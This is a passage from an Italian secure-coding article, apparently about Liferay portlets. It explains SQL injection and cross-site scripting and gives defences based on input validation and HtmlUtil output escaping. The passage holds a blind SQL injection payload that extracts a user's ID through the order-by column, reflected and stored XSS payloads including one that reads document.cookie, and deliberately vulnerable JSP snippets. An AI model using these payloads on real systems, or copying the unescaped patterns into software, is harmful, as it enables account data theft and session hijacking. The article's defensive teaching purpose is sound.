per iniettare il seguente comando sql tramite la submit della form:&lt;/p&gt;&lt;p&gt;&lt;code&gt;_portletName_INSTANCE_instanceId_orderByCol=&lt;/code&gt;&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;sql&quot; data-index=&quot;2&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;CASE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;WHEN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;SELECT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;substring&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;CONVERT&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(userId, &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;CHAR&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;FROM&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; user_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;WHERE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; emailAddress = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;test@liferay.com&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  ) = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;2&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;THEN&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;ELSE&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; vendorId &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;END&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo modo, l&amp;#x27;attaccante può scoprire l&amp;#x27;i-esima cifra dello userId
avente &lt;code&gt;test@liferay.com&lt;/code&gt; come indirizzo e-mail, semplicemente verificando
il tipo di ordinamento nella pagina dei risultati.
Ogni tentativo di injection modificherà l&amp;#x27;ordine dei risultati, a seconda
se l&amp;#x27;attaccante ha indovinato o meno la cifra corrispondente.
Supponendo di avere degli userId composti da 5 cifre decimali, l&amp;#x27;attaccante
può riuscire facilmente ad indovinare lo userId in (5 * 9) - 1 = 44 tentativi
nel caso peggiore, mentre un attacco a forza bruta potrebbe richiedere 9 * 10^4 tentativi.
Lo stesso tipo di attacco può anche essere utilizzato per indovinare lo screen-name
o la password dell&amp;#x27;utente, anche se richiederebbe un numero assai maggiore di tentativi.&lt;/p&gt;&lt;h2 id=&quot;consigli-utili-per-proteggerti-dagli-attacchi-di-tipo-sql-injection&quot;&gt;Consigli utili per proteggerti dagli attacchi di tipo SQL Injection&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Il ServiceBuilder di Liferay ti aiuta a tenere alto il livello di sicurezza, ma
occorre prestare attenzione nell&amp;#x27;implementazione dei Custom Finder:
utilizzare sempre &lt;code&gt;OrderByComparator&lt;/code&gt; ed effettuare la validazione dei nomi
delle colonne nella clausole order-by.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Tieni a mente che la vulnerabilità agli attacchi di tipo SQL Injection è
principamente un problema di validazione dell&amp;#x27;input:
al fine di prevenire questi attacchi evitare la concatezione di stringhe,
specialmente se provenienti da sorgenti non affidabili come la HTTP request,
senza alcun tipo di validazione preventiva.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Utilizzare i parametri delle query il più possibile, in quanto l&amp;#x27;output
escaping neutralizza l&amp;#x27;injection.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;cross-site-scripting-xss&quot;&gt;Cross-Site Scripting (XSS)&lt;/h1&gt;&lt;p&gt;Cross-site scripting (XSS) è conosciuto anche come “Improper neutralization of input
during web page generation” ed èuno degli attacchi più comuni in accordo alle
&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; ed alle
&lt;a href=&quot;https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html&quot;&gt;CWE/SANS Top 25&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Secondo una recente &lt;a href=&quot;https://owasp.org/www-community/Types_of_Cross-Site_Scripting&quot;&gt;riclassificazione&lt;/a&gt; a cura di OWASP,
gli attacchi XSS possono essere suddivisi in due principali categorie:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Server XSS&lt;/strong&gt;:
quando dati non affidabili in input dall&amp;#x27;utente vengono restituiti nella risposta del server&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client XSS&lt;/strong&gt;:
quando dati non affidabili in input dall&amp;#x27;utente vengono inclusi nel DOM o interpretati
dal browser mediante funzioni JavaScript vulnerabili&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Un&amp;#x27;altra classificazione possibile degli attacchi XSS è relativa alla persistenza:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stored (Persistent or Type-I)&lt;/strong&gt;:
quando dati non affidabili in input dall&amp;#x27;utente vengono resi persistenti nel sistema di
archiviazione del server, come ad esempio il database&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reflected (Non-Persistent or Type-II)&lt;/strong&gt;:
quando dati non affidabili in input dall&amp;#x27;utente vengono restituiti nella risposta del server
senza essere memorizzati in modo permanente&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:400px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:68.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;274\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20274\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M28%2041v14h101V26H28v15m102%200v14h104V26H130v15m105%200v14h112V26H235v15\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/40d401424498141e62c48e1ec07b9782/c85cb/xsstypes.webp 300w,/static/40d401424498141e62c48e1ec07b9782/7f61c/xsstypes.webp 400w&quot; sizes=&quot;(max-width: 400px) 100vw, 400px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/40d401424498141e62c48e1ec07b9782/5a46d/xsstypes.png 300w,/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png 400w&quot; sizes=&quot;(max-width: 400px) 100vw, 400px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Tipologie di XSS&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/40d401424498141e62c48e1ec07b9782/e17e5/xsstypes.png&quot; title=&quot;Tipologie di XSS&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Tipologie di XSS&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;liferay-portal-è-costruito-per-prevenire-attacchi-di-tipo-xss&quot;&gt;Liferay Portal è costruito per prevenire attacchi di tipo XSS&lt;/h3&gt;&lt;p&gt;Quando sviluppi una nuova portlet dovresti sempre utilizzare
le &lt;a href=&quot;https://docs.liferay.com/portal/7.1-latest/taglibs/util-taglib/liferay-ui/tld-summary.html&quot;&gt;taglib&lt;/a&gt;
di frontend Liferay. Gli elementi delle taglib (come ad esempio &lt;code&gt;&amp;lt;aui: &amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;liferay-ui: &amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;clay: &amp;gt;&lt;/code&gt; )
sono sicuri in quanto effettuano sempre output escaping quando necessario nel modo corretto,
quindi neutralizzeranno ogni tipologia di attacco XSS.&lt;/p&gt;&lt;p&gt;Utilizzare &lt;a href=&quot;https://docs.liferay.com/portal/7.0/javadocs/portal-kernel/com/liferay/portal/kernel/util/HtmlUtil.html&quot;&gt;HtmlUtil&lt;/a&gt; di Liferay
è la via più sicura per effettuare output escaping.&lt;/p&gt;&lt;p&gt;Ora mostriamo qualche esempio di attacco &lt;em&gt;Server XSS&lt;/em&gt;...&lt;/p&gt;&lt;h2 id=&quot;attacco-reflected-server-xss---esempio&quot;&gt;Attacco Reflected Server XSS - esempio&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: l&amp;#x27;attaccante include il codice malevolo tramite i parametri o il body della request HTTP&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;firstName=&amp;lt;script&amp;gt;alert(&amp;#x27;XSS!&amp;#x27;)&amp;lt;/script&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: la response generata dinamicamente può includere dei dati non affidabili
(nella pagina jsp non si effettua output escaping HTML):&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Hello, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= firstName %&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: il browser mostra la pagina di risposta ottenuta dal server, eseguendo codice malevolo&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;html&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  Hello,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;XSS!&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&quot;stored-server-xss-attack---example&quot;&gt;Stored Server XSS Attack - example&lt;/h2&gt;&lt;ol&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: l&amp;#x27;attaccante include il codice malevolo tramite i parametri o il body della request HTTP&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;&quot; data-index=&quot;6&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;firstName=&amp;#x27;;alert(document.cookie);&amp;#x27;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;2&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: l&amp;#x27;entità del model è aggiornata nello strato di persistenza senza alcuna validazione,
e può contenere dei dati non affidabili:&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;java&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;customer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;setFirstName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(firstName);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk12&quot;&gt;_customerService&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;updateCustomer&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(customer);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;3&quot;&gt;&lt;li&gt;🌍 &lt;strong&gt;SERVER&lt;/strong&gt;: la response generata dinamicamente include dei dati non affidabili provenienti
dallo strato di persistenza, espondendo l&amp;#x27;applicazione ad una vulnerabilità XSS in quanto
non viene effettuato output escaping JS:&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; var firstName = &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= c.getFirstName() %&amp;gt;&amp;#x27;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;ol start=&quot;4&quot;&gt;&lt;li&gt;💻 &lt;strong&gt;CLIENT&lt;/strong&gt;: il browser mostra la pagina di risposta ottenuta dal server eseguendo
il codice malevolo, che è anche salvato nello strato di persistenza,
anche dopo aver effettuato il refresh della pagina.&lt;/li&gt;&lt;/ol&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;html&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;firstName&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gli attacchi di tipo XSS possono essere &lt;strong&gt;neutralizzati&lt;/strong&gt; effettuando output escaping:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;ogni volta che, nella generazione dinamica delle pagine, imposti il valore di un
attributo o un contenuto in un elemento HTML la cui provenienza non è verificata nè affidabile
(esempio parametri della request HTTP);&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;quando nelle pagine jsp si utilizza l&amp;#x27;output diretto del contenuto delle variabili Java &lt;code&gt;&amp;lt;%= ... %&amp;gt;&lt;/code&gt;
all&amp;#x27;interno degli &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;quando si realizzano delle taglib personalizzate.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Ecco alcuni esempi di utilizzo corretto di HtmlUtil:&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Hello, &lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= HtmlUtil.escape(firstName) %&amp;gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;%= HtmlUtil.escapeAttribute(title) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;div&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;12&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;href&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;%= HtmlUtil.escapeHREF(detailsURL) %&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;jsp&quot; data-index=&quot;13&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; var firstName = &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk14&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;%= HtmlUtil.escapeJS(c.getFirstName())%&amp;gt;&amp;#x27;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;aui:script&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;consigli-utili-per-proteggersi-dagli-attacchi-di-tipo-xss&quot;&gt;Consigli utili per proteggersi dagli attacchi di tipo XSS&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;i dati provenienti da fonti non affidabili devono essere validati e sanitizzati prima
di essere persistiti o processati per la risposta in output. Enum o costanti possono
essere utilizzati per effettuare eventuali mapping per valori di tipo stringa;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;utilizzare le taglib di frontend Liferay, e &lt;a href=&quot;https://docs.liferay.com/portal/7.0/javadocs/portal-kernel/com/liferay/portal/kernel/util/HtmlUtil.html&quot;&gt;HtmlUtil&lt;/a&gt;
per l&amp;#x27;output escaping.
L&amp;#x27;escaping dell&amp;#x27;output in fase di generazione dinamica della risposta neutralizzerà l&amp;#x27;injection
così come l&amp;#x27;eventuale presenza di &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; o codice JavaScript malevolo, evitando che possano essere
eseguiti dal browser;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;fare attenzione al codice JavaScript personalizzato che interviene direttamente sul DOM.
Codice JavaScript non sicuro può rivelarsi vulnerabile agli attacchi di tipo &lt;strong&gt;Client XSS&lt;/strong&gt;.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h1 id=&quot;conclusione&quot;&gt;Conclusione&lt;/h1&gt;&lt;p&gt;L&amp;#x27;Injection è uno degli attacchi più diffusi nelle applicazioni web.
Le strategie di difesa contro questa tipologia di attacchi consistono nella:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong&gt;prevenzione&lt;/strong&gt; mediante validazione dei dati provenienti da sorgenti non affidabili
